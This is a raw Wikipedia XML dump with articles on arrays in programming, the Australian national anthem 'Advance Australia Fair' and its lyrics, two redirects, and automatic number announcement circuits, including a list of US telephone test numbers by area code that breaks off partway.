    <title>Array</title>
    <id>2052</id>
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      <id>41108699</id>
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      <text xml:space="preserve">In [[computer programming]], an '''array''', also known as a ''vector'' or ''list'' (for one-dimensional arrays) or a ''matrix'' (for two-dimensional arrays), is one of the simplest [[data structure]]s. Arrays hold a series of data [[element (mathematics)|element]]s, usually of the same size and [[data type]]. Individual elements are accessed by their position in the array. The position is given by an [[index (information technology)|index]], which is also called a subscript. The index usually uses a consecutive range of [[integer]]s, (as opposed to an [[associative array]]) but the index can have any [[ordinal numbers |ordinal]] set of values. Some arrays are ''multi-dimensional'', meaning they are indexed by a fixed number of integers, for example by a [[tuple]] of four integers. Generally, one- and two-dimensional arrays are the most common.

Most [[programming language]]s have arrays as a built-in data type.  Some programming languages (such as [[APL programming language|APL]], some versions of [[Fortran]], and [[J programming language|J]]) generalize the available operations and functions to work transparently over arrays as well as scalars, providing a higher-level manipulation than most other languages, which require loops over all the individual members of the arrays.

==Advantages and disadvantages==
Arrays permit efficient (constant-time, [[Big O notation|O]](1)) [[random access]] but not efficient insertion and deletion of elements (which are O(''n''), where ''n'' is the size of the array). [[Linked list]]s have the opposite trade-off. Consequently, arrays are most appropriate for storing a fixed amount of data which will be accessed in an unpredictable fashion, and linked lists are best for a list of data which will be accessed sequentially and updated often with insertions or deletions.

Another advantage of arrays that has become very important on modern architectures is that iterating through an array has good [[locality of reference]], and so is much faster than iterating through (say) a linked list of the same size, which tends to jump around in memory. However, an array can also be accessed in a random way, as is done with large [[hash table]]s, and in this case this is not a benefit.

Arrays also are among the most compact data structures; storing 100 integers in an array takes only 100 times the space required to store an integer, plus perhaps a few bytes of overhead for the whole array. Any [[pointer]]-based data structure, on the other hand, must keep its pointers somewhere, and these occupy additional space. This extra space becomes more significant as the data elements become smaller.  For example, an array of [[ASCII]] [[character (computing)|character]]s takes up one byte per character, while on a 32-bit platform, which has 4-byte pointers, a linked list requires at least five bytes per character.  Conversely, for very large elements, the space difference becomes a negligible fraction of the total space.

Because arrays have a fixed size, there are some indexes which refer to invalid elements &amp;mdash; for example, the index 17 in an array of size 5. What happens when a program attempts to refer to these varies from language to language and platform to platform. For more information, see [[bounds checking]].

==Uses==
Although useful in their own right, arrays also form the basis for several more complex data structures, such as [[heap (data structure)|heap]]s, [[hash table]]s, and [[VList]]s, and can be used to represent [[String (computer science)|string]]s, [[Stack (computing)|stack]]s and [[queue]]s. They also play a more minor role in many other data structures. All of these applications benefit from the compactness and locality of arrays.

One of the disadvantages of an array is that it has a single fixed size, and although its size can be altered in many environments, this is an expensive operation. [[Dynamic array]]s or ''growable arrays'' are arrays which automatically perform this resizing as late as possible, when the programmer attempts to add an element to the end of the array and there is no more space. To average the high cost of resizing over a long period of time (we say it is an [[amortized analysis|amortized cost]]), they expand by a large amount, and when the programmer attempts to expand the array again, it just uses more of this reserved space.

In the [[C programming language]], one-dimensional [[character (computing)|character]] arrays are used to store null-terminated strings, so called because the end of the string is indicated with a special reserved character called a [[null character]] ('\0') (see also [[C string]]).

Finally, in some applications where the data are the same or are missing for most values of the indexes, or for large ranges of indexes, space is saved by not storing an array at all, but having an [[associative array]] with integer keys. There are many specialized data structures specifically for this purpose, such as [[Patricia trie]]s and [[Judy array]]s. Example applications include [[virtual memory|address translation table]]s and [[routing table]]s.

==Indices into arrays==
Although abstractions for arrays in most programming languages are very similar, one strong point of contention has arisen: the index used to refer to the first element. There are three main solutions: ''zero-based'', ''one-based'', and ''n-based'' arrays, for which the first element has index zero, one, or a programmer-specified value, respectively.

This is mainly a stylistic concern. The zero-based array was made popular by the [[C programming language]], in which the abstraction of ''array'' is very weak, and an index ''n'' of an array is simply the address of the first element offset by ''n'' units. Accordingly, index 0 points to the first element of the array. Descendants of C inherit this behavior. One-based arrays, are based on traditional mathematics notation and simple counting, which begins with one. The last group - ''n-based'' - has been made available so the programmer is free to chose the lower bound which is best suited for the problem at hand.

There is a [[Array#Array_system_cross_reference_list|list of programming languages]] at the end of the article.

The conflict over the &quot;right&quot; way to do array indexing has impacted programmer culture. When supporters of one-based arrays decried zero-based arrays as unnatural, saying for example that we start numbered lists from 1, supporters of zero-based arrays retaliated by starting their own lists from zero in their daily lives. This practice can still be observed, and is often done for humor.

Another reason to prefer zero-based arrays is the so-called &quot;century confusion phenomenon&quot;. In the year 2000, most people in the world believed they were celebrating either the beginning of the 21st century, or the end of the 20th century. In fact, they were celebrating neither, because only 1,999 years had passed on the anno domini scale. The 21st century did not begin until 2001, due to the fact that the AD system is one-based. This is perhaps the greatest example of an inferior indexing scheme causing mass confusion of some 6 billion people.

Supporters of ''zero-based'' indexing often criticise ''one-based'' and ''n-based'' arrays for being slower. While this is true, a ''one-based'' or ''n-based'' array access can be easily optimized &amp;mdash; with [[common subexpression elimination]] or the use of a well-defined [[dope vector]], to name only two options available. So in real-life applications ''one-based'' and ''n-based'' arrays are just as fast as ''zero-based'' arrays.

==Multi-dimensional arrays==
Ordinary arrays are indexed by a single integer. Also useful, particularly in numerical and graphics applications, is the concept of a ''multi-dimensional array'', in which we index into the array using an ordered list of integers, such as in ''a''[3,1,5]. The number of integers in the list used to index into it is always the same and is referred to as the array's ''dimensionality'', and the bounds on each of these are called the array's ''dimensions''. An array with dimensionality ''k'' is often called ''k''-dimensional. One-dimensional arrays correspond to the simple arrays discussed thus far; two-dimensional arrays are a particularly common representation for [[matrix (math)|matrices]]. In practice, the dimensionality of an array rarely exceeds three.

Mapping a one-dimensional array into memory is obvious, since memory is logically itself a (very large) one-dimensional array. When we reach higher-dimensional arrays, however, the problem is no longer obvious. Suppose we want to represent this simple two-dimensional array:

:&lt;math&gt;
\begin{bmatrix}
1 &amp; 2 &amp; 3 \\
4 &amp; 5 &amp; 6 \\
7 &amp; 8 &amp; 9
\end{bmatrix}
&lt;/math&gt;

A few common representations include:

* Row-major order. Used most notably by statically-declared arrays in [[C programming language|C]]. The elements of each row are stored in order.
{| border=1
|-
| 1 || 2 || 3 || 4 || 5 || 6 || 7 || 8
| 9
|}

* Column-major order. Used most notably in [[Fortran]]. The elements of each column are stored in order.
{| border=1
|-
| 1 || 4 || 7 || 2 || 5 || 8 || 3 || 6
| 9
|}

* Arrays of arrays. Multi-dimensional arrays are represented by one-dimensional arrays of [[reference (computer science)|reference]]s ([[Iliffe vector]]s) to other one-dimensional arrays. The subarrays can be either the rows or columns.

[[Image: Array_of_array_storage.svg | 120px | A two-dimensional array stored as a one-dimensional array of one-dimensional arrays.]]

The first two forms are more compact and have potentially better locality of reference, but are also more limiting; the arrays must be ''rectangular'', meaning that no row can contain more elements than any other. Arrays of arrays, on the other hand, allow the creation of ''ragged arrays'', also called ''jagged arrays'', in which the valid range of one index depends on the value of another, or in this case, simply that different rows can be different sizes. Arrays of arrays are also of value in programming languages that only supply one-dimensional arrays as primitives.

In many applications, such as numerical applications working with [[matrix (math)|matrices]], we iterate over rectangular two-dimensional arrays in predictable ways. For example, computing an element of the matrix product '''AB''' involves iterating over a row of '''A''' and a column of '''B''' simultaneously. In mapping the individual array indexes into memory, we wish to exploit locality of reference as much as we can. A compiler can sometimes automatically choose the layout for an array so that sequentially accessed elements are stored sequentially in memory; in our example, it might choose row-major order for '''A''', and column-major order for '''B'''. Even more exotic orderings can be used, for example if we iterate over the [[main diagonal]] of a matrix.

==Array system cross-reference list==

{| style=&quot;font-size: 80%; border: 1px solid black;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot;
|+ 
! [[Programming language]]
! [[Array#Indices_into_arrays|Base index]]
! Bound Check
! [[Array#Multi-dimensional_arrays|Dimensions]]
! [[Dynamic_array|Dynamic]]
|-
| [[Ada programming language|Ada]]
| style=&quot;background:honeydew;&quot;  | n
| style=&quot;background:honeydew;&quot;  | checked
| style=&quot;background:honeydew;&quot;  | n
| style=&quot;background:azure;&quot;     | init&lt;sup&gt;1&lt;/sub&gt;
|- 
| [[assembly language]]
| style=&quot;background:azure;&quot;     | 0
| style=&quot;background:seashell;&quot;  | unchecked
| style=&quot;background:azure;&quot;     | 1
| style=&quot;background:seashell;&quot;  | no
|- 
| [[BASIC programming language|BASIC]]
| style=&quot;background:AliceBlue;&quot; | 1
| style=&quot;background:seashell;&quot;  | unchecked
| style=&quot;background:azure;&quot;     | 1
| style=&quot;background:azure;&quot;     | init&lt;sup&gt;1&lt;/sub&gt;
|- 
| [[C programming language|C]]
| style=&quot;background:azure;&quot;     | 0
| style=&quot;background:seashell;&quot;  | unchecked
| style=&quot;background:azure;&quot;     | 1&lt;sup&gt;2&lt;/sub&gt;
| style=&quot;background:AliceBlue;&quot; | heap&lt;sup&gt;3,4&lt;/sub&gt;
|- 
| [[C++]]&lt;sup&gt;5&lt;/sub&gt;
| style=&quot;background:azure;&quot;     | 0
| style=&quot;background:seashell;&quot;  | unchecked
| style=&quot;background:azure;&quot;     | 1&lt;sup&gt;2&lt;/sub&gt;
| style=&quot;background:AliceBlue;&quot; | heap&lt;sup&gt;3&lt;/sub&gt;
|-
| [[C Sharp|C#]]
| style=&quot;background:azure;&quot;     | 0
| style=&quot;background:honeydew;&quot;  | checked
|
|
|- 
| [[D programming language|D]]
| style=&quot;background:azure;&quot;     | 0
| style=&quot;background:honeydew;&quot;  | checked
| style=&quot;background:honeydew;&quot;  | n
| style=&quot;background:honeydew;&quot;  | yes
|- 
| [[Java programming language|Java]]
| style=&quot;background:azure;&quot;     | 0
| style=&quot;background:honeydew;&quot;  | checked
|
| style=&quot;background:AliceBlue;&quot; | heap&lt;sup&gt;3&lt;/sub&gt;
|- 
| [[Pascal programming language|Pascal]]
| style=&quot;background:honeydew;&quot;  | n
| style=&quot;background:honeydew;&quot;  | checked
|
| style=&quot;background:seashell;&quot;  | no
|- 
| [[PL/I|PL/1]]
| style=&quot;background:honeydew;&quot;  | n
| style=&quot;background:honeydew;&quot;  | checked
|
|
|- 
| [[Visual BASIC]]
| style=&quot;background:honeydew;&quot;  | n
| style=&quot;background:honeydew;&quot;  | checked
|
|
|}
&lt;div style=&quot;font-size: 80%;&quot;&gt;
# Size can be chosen on initialization/declaration after which it is fixed.
# Allows arrays of arrays which can be used to emulate multi-dimensional arrays.
# Size can only be chosen when memory is allocated on the heap.
# C99 allows for variable size arrays - however there is almost no compiler available to support the this new feature.
# This list is strictly comparing language features. In every language (even assembler) it is possible to provide improved array handling via add on libraries. This language has improved array handing as part of its standard library.
&lt;/div&gt;

==See also==
*[[Array programming]]
*[[Array slicing]]
*[[Collection]]
*[[Monge array]]
*[[Parallel array]]
*[[Set (computer science)]]
*[[Sparse array]]
*[[wikibooks:Computer Science:Data Structures:Arrays]]
*[[wikibooks:Ada Programming/Types/array]]

==External link==
*[http://www.nist.gov/dads/HTML/array.html NIST's Dictionary of Algorithms and Data Structures: Array]


[[Category:Arrays|*]]

[[cs:Pole (informatika)]]
[[de:Array]]
[[es:Vector (programación)]]
[[fr:Tableau (informatique)]]
[[it:Array]]
[[he:מערך (מבנה נתונים)]]
[[nl:Array]]
[[ja:配列]]
[[pl:Tablica]]
[[pt:Array]]
[[sk:Pole (údajová štruktúra)]]
[[sl:Tabela (računalništvo)]]
[[sr:Вектор]]
[[sv:Array]]
[[uk:Масив]]
[[zh:数组]]</text>
    </revision>
  </page>
  <page>
    <title>Advance Australia Fair</title>
    <id>2053</id>
    <revision>
      <id>42041166</id>
      <timestamp>2006-03-03T11:34:24Z</timestamp>
      <contributor>
        <username>Nick Moss</username>
        <id>128271</id>
      </contributor>
      <minor />
      <comment>/* External links */ rv vandalism</comment>
      <text xml:space="preserve">'''Advance Australia Fair''' is the official [[national anthem]] of [[Australia]]. It was composed by [[Peter Dodds McCormick]] in the late [[19th century]], and first performed by [[Andrew Fairfax]] at a [[Highland Society]] function in [[Sydney]] on St Andrew's Day, ([[30 November]], [[1878]]).  The song quickly gained popularity and an amended version was sung by a choir of 10,000 at the inauguration of the [[Commonwealth of Australia]] in 1901. In 1907, the Australian Government awarded McCormick £100 for its composition.

It emerged as the most popular choice for the national anthem after an opinion poll in 1974 (the Australian Bureau of Statistics polled 60,000 nationally).  It was also the subject of a National Song Poll in 1977, where it garnered 43.6% of the vote, as against ''[[Waltzing Matilda]]'' (28.5%), the ''[[Song Of Australia]]'' (9.7%), and the then-current national anthem ''[[God Save the Queen]]'' (18.7%).

The anthem attracts occasional discussion in Australia, with allegations that both the tune and lyrics are mediocre, lacklustre or uninspiring.  Another compaint is that it is not as popular or well known as other national songs, particularly ''Waltzing Matilda''. In particular the word &quot;girt&quot; (the [[English passive voice|passive form]] of the [[verb]] &quot;to gird&quot;) meaning 'encircled' or 'surrounded' is criticised as obscure.

[[Image:National anthem booth - floriade.jpg|thumb|250px|The National Anthem booth at the 2005 Floriade, Canberra]]

==Historical notes==
Before its adoption as Australia's national anthem, ''Advance Australia Fair'' saw considerable use elsewhere. For instance, during [[World War II]], Australia's national broadcaster, the [[Australian Broadcasting Commission]], used it to announce its news bulletins. It was also frequently played at the start or end of official functions.

It was adopted as the national anthem by a 1984 decision of the [[Australian Labor Party|Labor]] government of [[Bob Hawke]], although it required a proclamation by the [[Governor-General of Australia|Governor-General]] for the decision to become official.

==Alternatives==
Other tunes that have gained recognition in the popular mind as patriotic songs include the pop ballad ''[[I Still Call Australia Home]]'', by [[Peter Allen]] and the reggae-influenced rock song ''[[Down Under (song)|Down Under]]'' by band [[Men At Work]].  Also gaining popularity is ''[[I Am Australian]]'' by [[Bruce Woodley]] (better known as a member of [[The Seekers]]).

As part of [[New Year's Eve]] [[2004]] celebrations, [[Clover Moore]], [[Lord Mayor]] of the [[City of Sydney]], commissioned a dance [[remix]] of ''Advance Australia Fair'' with a verse of [[Waltzing Matilda]] in it, receiving mixed reactions. A previous remix of the song, released in 2003 by comedian [[Adam Hills]], set the song lyrics to the music of [[Jimmy Barnes]]'s ''[[Working Class Man]]''.

==Lyrics==
The lyrics of ''Advance Australia Fair'' express relatively uncontroversial Australian self-beliefs and aspirations.

For its adoption as the national anthem, the second, fourth, and fifth verses were dropped from the &quot;official&quot; version, as they emphasised the [[United Kingdom|British]] aspects of Australia's heritage, along with the virtues of Britain, and three lines were changed, in order to promote [[non-sexist language]] and to reflect the fact that Australia is no longer a 'youthful Commonwealth'. For example:
* the first line of the first verse: &quot;Australia's sons let us rejoice&quot; to &quot;Australians all let us rejoice&quot;.
* verse 3 (verse 2 of official version), line 3 : &quot;To make this youthful Commonwealth&quot; to &quot;To make this Commonwealth of ours&quot;.
* verse 3 (verse 2 of official version), line 5 : &quot;For loyal sons beyond the seas&quot; to &quot;For those who've come across the seas&quot;.

There lies some ambiguity in the enduring popularity of '''''[[Waltzing Matilda]]''''', which is often regarded as a much finer tune and has been part of the Australian imagination almost since its composition 110 years ago. Many non-Australians simply assume the tune is Australia's anthem.  However, Waltzing Matilda's lyrics, detailing the exploits of an itinerant who steals a sheep and then drowns himself in an effort to avoid capture by the police and the local [[squatter]] (land-owner), are regarded by some Australians as unsuitable as an expression of Australian values, and, indeed, as unsuitable topics for discussion in a national anthem. Nevertheless, its long-lasting popularity suggests that other Australians have a lingering sense of identification with the romantic figure of the [[swagman]], his precarious existence, his stubborn defiance of authority and his working-class status.

===''Advance Australia Fair'' - The official version===
:Australians all let us rejoice,
:For we are young and free;
:We've golden soil and wealth for toil,
:Our home is girt by sea;
:Our land abounds in Nature's gifts
:Of beauty rich and rare;
:In history's page, let every stage
:Advance Australia fair!
:In joyful strains then let us sing,
:&quot;Advance Australia fair!&quot;

:Beneath our radiant [[Crux|Southern Cross]],
:We'll toil with hearts and hands;
:To make this Commonwealth of ours
:Renowned of all the lands;
:For those who've come across the seas
:We've boundless plains to share;
:With courage let us all combine
:To advance Australia fair.
:In joyful strains then let us sing
:&quot;Advance Australia fair!&quot;

===Dodds' original lyrics===
:Australia's sons let us rejoice,
:For we are young and free;
:We've golden soil and wealth for toil,
:Our home is girt by sea;
:Our land abounds in Nature's gifts
:Of beauty rich and rare;
:In history's page, let every stage
:Advance Australia fair!
:In joyful strains then let us sing,
:&quot;Advance Australia fair!&quot;

:When gallant Cook from Albion sail'd,
:To trace wide oceans o'er,
:True British courage bore him on,
:Till he landed on our shore.
:Then here he raised Old England's flag,
:The standard of the brave;
:With all her faults we love her still,
:&quot;Britannia rules the wave!&quot;
:In joyful strains then let us sing
:&quot;Advance Australia fair!&quot;

:Beneath our radiant southern Cross,
:We'll toil with hearts and hands;
:To make this youthful Commonwealth
:Renowned of all the lands;
:For loyal sons beyond the seas
:We've boundless plains to share;
:With courage let us all combine
:To advance Australia fair.
:In joyful strains then let us sing
:&quot;Advance Australia fair!&quot;

:While other nations of the globe
:Behold us from afar,
:We'll rise to high renown and shine
:Like our glorious southern star;
:From England, Scotia, Erin's Isle,
:Who come our lot to share,
:Let all combine with heart and hand
:To advance Australia fair!
:In joyful strains then let us sing
:&quot;Advance Australia fair!&quot;

:Shou'd foreign foe e'er sight our coast,
:Or dare a foot to land,
:We'll rouse to arms like sires of yore
:To guard our native strand;
:Britannia then shall surely know,
:Beyond wide ocean's roll,
:Her sons in fair Australia's land
:Still keep a British soul.
:In joyful strains then let us sing
:&quot;Advance Australia fair!&quot;

===Version for religious occasions===
There is a version of the anthem that is only authorised for use on religious occasions. For instance, it was sung in a special service at St. Andrew's Cathedral, Sydney, on [[July 10]], [[2005]] with Prime Minister [[John Howard]] present. The lyrics are as follows:

:Australians all let us rejoice, for we are young and free;
:We've golden soil and wealth for toil, our home is girt by sea;
:Our land abounds in Nature's gifts of beauty rich and rare;
:In history's page, let every stage advance Australia fair!
:In joyful strains then let us sing advance Australia fair!

:Beneath our radiant southern Cross, we'll toil with hearts and hands; 
:To make this Commonwealth of ours, renowned of all the lands; 
:For those who've come across the seas, we've boundless plains to share; 
:With courage let us all combine, to advance Australia fair. 
:In joyful strains then let us sing Advance Australia fair! 

:With Christ our head and cornerstone, we'll build our nation's might
:Whose way and truth and light alone, can guide our path aright
:Our lives, a sacrifice of love reflect our Master's care,
:With faces turned to heaven above, advance Australia Fair.
:In joyful strains then let us sing, advance Australia Fair.

Some people think this was the original version, but it was not McCormick's own (see above). The third, explicitly Christian verse was written by an unknown author early in the 21st century.

== Media ==
{{multi-listen start}}
{{multi-listen item|filename=Adavnce Australia Fair vocal.ogg|title=Vocal|description=Sung by Julie Anthony|format=[[Ogg]]}}
{{multi-listen item|filename=Adavnce Australia Fair instrumental.ogg|title=Instrumental|description=Performed by Royal Australian Air Force Central Band|format=[[Ogg]]}}

{{multi-listen end}}

==External links==
{{Wikisource}}
*[http://www.hamilton.net.au/advance.html Brief history]
*[http://www.geocities.com/EnchantedForest/Cottage/6936/midi/anthem.mid MIDI File]
*[http://www.pm.gov.au/audio/anthem_instrumental.mp3 Instrumental MP3 (1.5 MB)]
*[http://www.pm.gov.au/audio/anthem_vocal.mp3 Vocal MP3 - first verse only (1.12 MB)] 
*Australian Government websites:
**[http://www.itsanhonour.gov.au/singing_anthem.html Official published words and music with band parts]
**[http://www.itsanhonour.gov.au/pdf/anthem_words_and_music.pdf Four-part musical score &amp; words PDF 169 KB] 
**[http://www.dfat.gov.au/facts/nat_anthem.html Department of Foreign Affair and Trade's webpage on Advance Australia Fair]

[[Category:National anthems]]
[[Category:Australian culture]]
[[Category:Australian songs]]

[[da:Advance Australia Fair]]
[[de:Advance Australia Fair]]
[[es:Advance Australia Fair]]
[[fr:Advance Australia Fair]]
[[id:Advance Australia Fair]]
[[is:Advance Australia Fair]]
[[it:Advance Australia Fair]]
[[hu:Ausztrál himnusz]]
[[ms:Advance Australia Fair]]
[[nl:Advance Australia Fair]]
[[ja:オーストラリアの国歌]]
[[no:Advance Australia Fair]]
[[pl:Hymn Australii]]
[[pt:Hino nacional da Austrália]]
[[ru:Гимн Австралии]]
[[fi:Advance Australia Fair]]
[[sv:Advance Australia Fair]]
[[th:แอดวานซ์ออสเตรเลียแฟร์]]
[[vi:Advance Australia Fair]]
[[zh:前进的澳大利亚]]</text>
    </revision>
  </page>
  <page>
    <title>Aikidoka</title>
    <id>2057</id>
    <revision>
      <id>15900504</id>
      <timestamp>2004-09-16T04:49:41Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Aikido]]</text>
    </revision>
  </page>
  <page>
    <title>Atheists</title>
    <id>2058</id>
    <revision>
      <id>15900505</id>
      <timestamp>2003-02-18T14:33:08Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[atheism]]</comment>
      <text xml:space="preserve">#REDIRECT [[atheism]]</text>
    </revision>
  </page>
  <page>
    <title>Automatic number announcement circuit</title>
    <id>2061</id>
    <revision>
      <id>42040563</id>
      <timestamp>2006-03-03T11:25:33Z</timestamp>
      <contributor>
        <ip>69.193.255.165</ip>
      </contributor>
      <comment>/* Canada */</comment>
      <text xml:space="preserve">An '''automatic number [[announcement]] circuit (ANAC)''' is a special [[telephone number]] that is meant to be used by [[phone company]] technicians and other telecommunications technicians to determine the phone number of a particular line.

The way an ANAC works is fairly simple: A technician will call a local ANAC's phone number (in Connecticut, they would dial 970). This number connects to a computer at a local [[central office]] which uses a voice synthesizer or digital samples to &quot;speak&quot; the phone number of the line calling in. The main purpose of this system is to allow phone company technicians to identify which telephone line they are connected to. Because this system is based on [[automatic number identification]] (not caller ID) and meant for phone company technicians, the ANAC system works with unlisted and even numbers with [[caller ID]] blocking.

Some ANACs are very regional or local in scope, while others are state or [[area code]]-wide. There appears to be no national cohesive system for them. Every telephone company (big or small) can determine its own ANAC for each individual central office, leading to a mish-mash of overlapping and/or spotty coverage. 

In most North American area codes, 958-xxxx and 959-xxxx exchanges are reserved for various local and long-distance test purposes (a few may also reserve 999-xxxx); ANAC numbers sometimes appear in the 958-xxxx range but there is no requirement that they reside there. Other local test numbers may include [[ringback]] (to test the ringer when installing telephones) and [[loop line]]s (which connect a call to another inbound call to the same or another test number). Some carriers (such as [[Bell Canada]]) have been known to program [[payphone]]s to disable calls to 958 or 959 test lines.

Some large telephone companies have toll-free numbers set-up, but these numbers remain undisclosed to prevent abusive use.

There are some private national toll-free numbers that use [[Automatic number identification|ANI]] and then have a computer read back the number that is calling, but these are not intended for use in identifying your phone number, they are used in order for you to confirm the phone you are calling from so that a computer can automatically pull up your account for the next available customer service representative. However, if one were to call up one of these numbers, listen for the number confirmation and hang up, they would in effect be using this system as if it were an ANAC.

:''&quot;Our records indicate you are calling from 555-555-5555, if this is correct, press 1, if it is not correct, press 2... CLICK&quot;''

==ANAC numbers==

For easier reference, the list is presented by area code. In some regions, there are several numbers depending on the telephone company and/or the area you are calling from as there can be several central offices serving some areas. All are local numbers.

Information is presented in the following form:

Area code: ANAC approximate geographic region

===United States===

This List is Primarily for Historic Archival Purposes

*201:  958              Hackensack/Jersey City/Newark/Paterson, NJ
*202:  811              District of Columbia
*203:  970              CT
*205:  300-222-2222     Birmingham, AL
*205:  300-555-5555     Many small towns in AL
*205:  300-648-1111     Dora, AL
*205:  300-765-4321     Bessemer, AL
*205:  300-798-1111     Forestdale, AL
*205:  300-833-3333     Birmingham
*205:  557-2311         Birmingham, AL
*205:  811              Pell City/Cropwell/Lincoln, AL
*205:  841-1111         Tarrant, AL
*205:  908-222-2222     Birmingham, AL
*206:  411              WA (Not US West)
*207:  958              ME
*209:  830-2121         Stockton, CA
*209:  211-9779         Stockton, CA
*210:  830              Brownsville/Laredo/San Antonio, TX
*210:  951              Brownsville/Laredo/San Antonio, TX (GTE)
*212:  958              Manhattan, NY
*213:  114              Los Angeles, CA (GTE)
*213:  1223             Los Angeles, CA (Some 1AESS switches)
*213:  211-2345         Los Angeles, CA (English response)
*213:  211-2346         Los Angeles, CA (DTMF response)
*213:  61056            Los Angeles, CA
*214:  570              Dallas, TX
*214:  790              Dallas, TX (GTE)
*214:  970-222-2222     Dallas, TX
*214:  970-611-1111     Dallas, TX (Southwestern Bell)
*215:  511              Philadelphia, PA
*215:  958              Philadelphia, PA
*216:  331              Akron/Canton/Cleveland/Lorain/Youngstown, OH
*216:  959-9892         Akron/Canton/Cleveland/Lorain/Youngstown, OH
*219:  550              Gary/Hammond/Michigan City/Southbend, IN
*219:  559              Gary/Hammond/Michigan City/Southbend, IN
*301:  2002006969       Hagerstown/Rockville, MD
*301:  958-9968         Hagerstown/Rockville, MD
*303:  958              Aspen/Boulder/Denver/Durango/Grand Junction, CO   [Nonworking as of 2006-02-08]
*305:  200-555-1212     Ft. Lauderdale/Key West/Miami, FL
*305:  200200200200200  Ft. Lauderdale/Key West/Miami, FL
*305:  780-2411         Ft. Lauderdale/Key West/Miami, FL
*310:  114              Long Beach, CA (On many GTE switches)
*310:  1223             Long Beach, CA (Some 1AESS switches)
*310:  211-2345         Long Beach, CA (English response)
*310:  211-2346         Long Beach, CA (DTMF response)
*310:  958-1114         West Los Angeles, CA (Verizon)
*312:  200              Chicago, IL
*312:  290              Chicago, IL
*312:  1-200-8825       Chicago, IL (Last four change rapidly)
*312:  1-200-555-1212   Chicago, IL
*313:  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
*313:  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
*313:  200200200200200  Ann Arbor/Dearborn/Detroit, MI
*315:  953              Syracuse/Utica, NY
*315:  958              Syracuse/Utica, NY
*315:  998              Syracuse/Utica, NY
*317:  310-222-2222     Indianapolis/Kokomo, IN
*317:  559-222-2222     Indianapolis/Kokomo, IN
*317:  743-1218         Indianapolis/Kokomo, IN
*334:  5572411          Montgomery, AL
*334: 5572311           Montgomery, AL
*401:  200-200-4444     RI
*401:  222-2222         RI
*402:  311              Lincoln, NE
*404:  311              Atlanta, GA
*404:  990              Atlanta, GA
*405:  890-7777777      Enid/Oklahoma City, OK
*405:  897              Enid/Oklahoma City, OK
*407:  200-222-2222     Orlando/West Palm Beach, FL (Bell South)
*407:  520-3111         Orlando/West Palm Beach, FL (United)
*408:  760              San Jose, CA
*408:  940              San Jose, CA
*409:  951              Beaumont/Galveston, TX
*410:  200-6969         Annapolis/Baltimore, MD
*410:  200-200-6969     Annapolis/Baltimore, MD
*410:  200-555-1212     Annapolis/Baltimore, MD
*410:  811              Annapolis/Baltimore, MD
*412:  711-6633         Pittsburgh, PA
*412:  711-4411         Pittsburgh, PA
*413:  958              Pittsfield/Springfield, MA
*413:  200-555-5555     Pittsfield/Springfield, MA
*414:  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
*415:  200-555-1212     San Francisco, CA
*415:  211-2111         San Francisco, CA
*415:  2222             San Francisco, CA
*415:  640              San Francisco, CA
*415:  760-2878         San Francisco, CA
*415:  7600-2222        San Francisco, CA
*419:  311              Toledo, OH
*423:  200-200-200      Chattanooga, Johnson City, Knoxville, TN
*480:  958-7847         Phoenix Metro Area (QWEST)
*501:  511              AR
*502:  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY
*502:  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
*503:  611              Portland, OR
*503:  999              Portland, OR (GTE)
*504:  997-1111         New Orleans/Metairie/Kenner/River Ridge, LA (BELL SOUTH) &lt;[[Verified 02/04/06]]&gt;, 
*504:  99882233         Baton Rouge/New Orleans, LA
*504:  201-269-1111     Baton Rouge/New Orleans, LA
*504:  998              Baton Rouge/New Orleans, LA
*504:  99851-0000000000 Baton Rouge/New Orleans, LA
*505:  243-0049         Albuquerque Metro, NM
*508:  958              Fall River/New Bedford/Worchester, MA
*508:  200-222-1234     Fall River/New Bedford/Worchester, MA
*508:  200-222-2222     Fall River/New Bedford/Worchester, MA
*508:  26011            Fall River/New Bedford/Worchester, MA
*509:  560              Spokane/Walla Walla/Yakima, WA
*510:  760-1111         Oakland, CA
*512:  830              Austin/Corpus Christi, TX
*513:  380-55555555     Cincinnati/Dayton, OH
*515:  280-1241         Des Moines Metro Area ([[Regional Bell Operating Company|RBOC]]), IA
*515:  552#             Des Moines Metro Area ([[CLEC]]), IA
*515:  5463             Des Moines, IA
*515:  811              Des Moines, IA
*516:  958              Hempstead/Long Island, NY
*516:  968              Hempstead/Long Island, NY
*517:  200-222-2222     Bay City/Jackson/Lansing, MI
*517:  200200200200200  Bay City/Jackson/Lansing, MI
*518:  511              Albany/Schenectady/Troy, NY
*518:  997              Albany/Schenectady/Troy, NY
*518:  998              Albany/Schenectady/Troy, NY
*540:  211              Roanoke, VA (GTE)
*540:  311              Roanoke, VA (GTE)
*541:  200              Bend, OR
*541:  330-0024         Bend, OR
*585:  [unknown]        Rochester, NY
*602:  958-7847         Phoenix Metro Area (QWEST)
*602:  253-0227         Phoenix Metro Area (QWEST)
*603:  200-222-2222     NH
*603:  958              NH
*606:  997-555-1212     Ashland/Winchester, KY
*606:  711              Ashland/Winchester, KY
*607:  993              Binghamton/Elmira, NY
*609:  958              Atlantic City/Camden/Trenton/Vineland, NJ
*610:  958              Allentown/Reading, PA
*610:  958-4100         Allentown/Reading, PA
*614:  200              Columbus/Steubenville, OH
*614:  571              Columbus/Steubenville, OH
*615:  200200200200200  Chatanooga/Knoxville/Nashville, TN
*615:  2002222222       Chatanooga/Knoxville/Nashville, TN
*615:  830              Nashville, TN
*616:  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
*617:  200-222-1234     Boston, MA
*617:  200-222-2222     Boston, MA
*617:  200-444-4444     Boston, MA (Woburn, MA)
*617:  220-2622         Boston, MA
*617:  958              Boston, MA
*618:  930              Alton/Cairo/Mt.Vernon, IL
*619:  211-2001         San Diego, CA
*619:  211-2121         San Diego, CA
*623:  958-7847         Phoenix Metro Area (QWEST)
*659:  220-2622         Newmarket, NH
*703:  211              VA
*703:  511-3636         Culpeper/Orange/Fredericksburg, VA
*703:  811              Alexandria/Arlington/Roanoke, VA
*704:  311              Asheville/Charlotte, NC
